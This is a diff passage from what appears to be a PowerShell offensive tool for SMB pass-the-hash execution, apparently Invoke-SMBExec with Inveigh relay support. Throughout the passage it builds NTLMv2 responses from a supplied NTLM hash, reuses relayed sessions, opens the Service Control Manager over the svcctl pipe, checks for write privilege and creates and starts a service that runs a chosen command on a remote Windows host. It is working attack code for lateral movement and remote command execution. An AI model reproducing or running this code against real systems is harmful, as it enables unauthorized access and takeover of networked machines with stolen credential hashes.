($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive - $SMB_session_ID = $SMB_client_receive[44..51] - $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] - $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] - $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" - $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $auth_hostname = (Get-ChildItem -path env:computername).Value - $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) - $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) - $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] - $auth_domain_offset = 0x40,0x00,0x00,0x00 - $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) - $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) - $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) - $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) - $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 - $HMAC_MD5.key = $NTLM_hash_bytes - $username_and_target = $username.ToUpper() - $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) - $username_and_target_bytes += $auth_domain_bytes - $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) - $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - $security_blob_bytes = 0x01,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00 + - $SMB_target_time_bytes + - $client_challenge_bytes + - 0x00,0x00,0x00,0x00 + - $SMB_target_details + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 - - $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes - $HMAC_MD5.key = $NTLMv2_hash - $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) - - if($SMB_signing) - { - $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) - $session_key = $session_base_key - $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 - $HMAC_SHA256.key = $session_key - } - - $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] - $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) - - $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, - 0x03,0x00,0x00,0x00, - 0x18,0x00, - 0x18,0x00 + - $auth_LM_offset + - $NTLMv2_response_length + - $NTLMv2_response_length + - $auth_NTLM_offset + - $auth_domain_length + - $auth_domain_length + - $auth_domain_offset + - $auth_username_length + - $auth_username_length + - $auth_username_offset + - $auth_hostname_length + - $auth_hostname_length + - $auth_hostname_offset + - $SMB_session_key_length + - $SMB_session_key_length + - $SMB_session_key_offset + - $SMB_negotiate_flags + - $auth_domain_bytes + - $auth_username_bytes + - $auth_hostname_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $NTLMv2_response - - if($SMB_version -eq 'SMB1') - { - $SMB_user_ID = $SMB_client_receive[32,33] - $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes $SMB_user_ID + catch + { + Write-Output "[-] $($_.Exception.Message)" + } - if($SMB_signing) - { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 } - $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPAuth $NTLMSSP_response - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $NTLMSSP_response - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data } - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if($SMB_version -eq 'SMB1') + if($login_successful -or $inveigh_session) { - if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') - { - Write-Verbose "$output_username successfully authenticated on $Target" - $login_successful = $true - } - else + if($inveigh_session) { - Write-Output "$output_username failed to authenticate on $Target" - $login_successful = $false - } - } - else - { - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') - { - Write-Verbose "$output_username successfully authenticated on $Target" - $login_successful = $true - } - else - { - Write-Output "$output_username failed to authenticate on $Target" - $login_successful = $false - } + if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') + { + Write-Output "[*] Pausing due to Inveigh Relay session lock" + Start-Sleep -s 2 + } - } + $inveigh.session_lock_table[$session] = 'locked' + $client = $inveigh.session_socket_table[$session] + $client_stream = $client.GetStream() + $session_ID = $inveigh.session_table[$session] + $message_ID = $inveigh.session_message_ID_table[$session] + $tree_ID = 0x00,0x00,0x00,0x00 + $SMB_signing = $false + } - if($login_successful) - { $SMB_path = "\\" + $Target + "\IPC$" if($SMB_version -eq 'SMB1') @@ -1147,7 +1367,7 @@ if($SMB_client.Connected) $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) } - $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 if(!$Service) { @@ -1204,67 +1424,74 @@ if($SMB_client.Connected) if($SMB_version -eq 'SMB1') { - $SMB_client_stage = 'TreeConnectAndXRequest' + $stage = 'TreeConnectAndXRequest' - :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + while ($stage -ne 'Exit') { - switch ($SMB_client_stage) + switch ($stage) { - 'TreeConnectAndXRequest' + 'CheckAccess' { - $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID_bytes $SMB_user_ID - if($SMB_signing) + if([System.BitConverter]::ToString($client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') { - $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 - $SMB_signing_counter = 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence - } + $SMB_service_manager_context_handle = $client_receive[88..107] - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($SMB_execute) + { + Write-Verbose "$output_username has Service Control Manager write privilege on $Target" + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - if($SMB_signing) + if($SCM_data.Length -lt $SMB_split_index) + { + $stage = 'CreateServiceW' + } + else + { + $stage = 'CreateServiceW_First' + } + + } + else + { + Write-Output "$output_username has Service Control Manager write privilege on $Target" + $SMB_close_service_handle_stage = 2 + $stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '05-00-00-00') { - $SMB_sign = $session_key + $SMB_header + $SMB_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + Write-Output "[-] $output_username does not have Service Control Manager write privilege on $Target" + $stage = 'Exit' + } + else + { + Write-Output "[-] Something went wrong with $Target" + $stage = 'Exit' } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'CreateAndXRequest' } - - 'CreateAndXRequest' + + 'CloseRequest' { - $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl - $SMB_tree_ID = $SMB_client_receive[28,29] - $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40 $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -1272,197 +1499,125 @@ if($SMB_client.Connected) $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'RPCBind' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'TreeDisconnect' } - - 'RPCBind' + + 'CloseServiceHandle' { - $SMB_FID = $SMB_client_receive[42,43] - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID - if($SMB_signing) + if($SMB_close_service_handle_stage -eq 1) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 - [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + Write-Verbose "Service $SMB_service deleted on $Target" + $SMB_close_service_handle_stage++ + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle } - - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) + else { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data - $SMB_signature = $MD5.ComputeHash($SMB_sign) - $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $stage = 'CloseRequest' + $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'OpenSCManagerW' - } - - 'ReadAndXRequest' - { - Start-Sleep -m $Sleep - $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBReadAndXRequest $SMB_FID + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = $SMB_client_stage_next + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null } - - 'OpenSCManagerW' + + 'CreateAndXRequest' { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $client_receive[28,29] + $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 - $SMB_signing_counter = $SMB_signing_counter + 2 + $packet_SMB_header["Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } - $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { - $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'CheckAccess' - } - - 'CheckAccess' - { - - if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') - { - $SMB_service_manager_context_handle = $SMB_client_receive[88..107] - - if($SMB_execute) - { - Write-Verbose "$output_username is a local administrator on $Target" - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes - $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - - if($SCM_data.Length -lt $SMB_split_index) - { - $SMB_client_stage = 'CreateServiceW' - } - else - { - $SMB_client_stage = 'CreateServiceW_First' - } - - } - else - { - Write-Output "$output_username is a local administrator on $Target" - $SMB_close_service_handle_stage = 2 - $SMB_client_stage = 'CloseServiceHandle' - } - - } - elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') - { - Write-Output "$output_username is not a local administrator or does not have required privilege on $Target" - $SMBExec_failed = $true - } - else - { - Write-Output "Something went wrong with $Target" - $SMBExec_failed = $true - } - + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'RPCBind' } - + 'CreateServiceW' { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID - + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID + if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } - $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data - $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -1470,41 +1625,41 @@ if($SMB_client.Connected) $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'StartServiceW' + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'ReadAndXRequest' + $stage_next = 'StartServiceW' } 'CreateServiceW_First' { $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] - $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first - $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) $SMB_split_index_tracker = $SMB_split_index $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length + $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) @@ -1512,23 +1667,23 @@ if($SMB_client.Connected) $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] - $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null if($SMB_split_stage_final -le 2) { - $SMB_client_stage = 'CreateServiceW_Last' + $stage = 'CreateServiceW_Last' } else { $SMB_split_stage = 2 - $SMB_client_stage = 'CreateServiceW_Middle' + $stage = 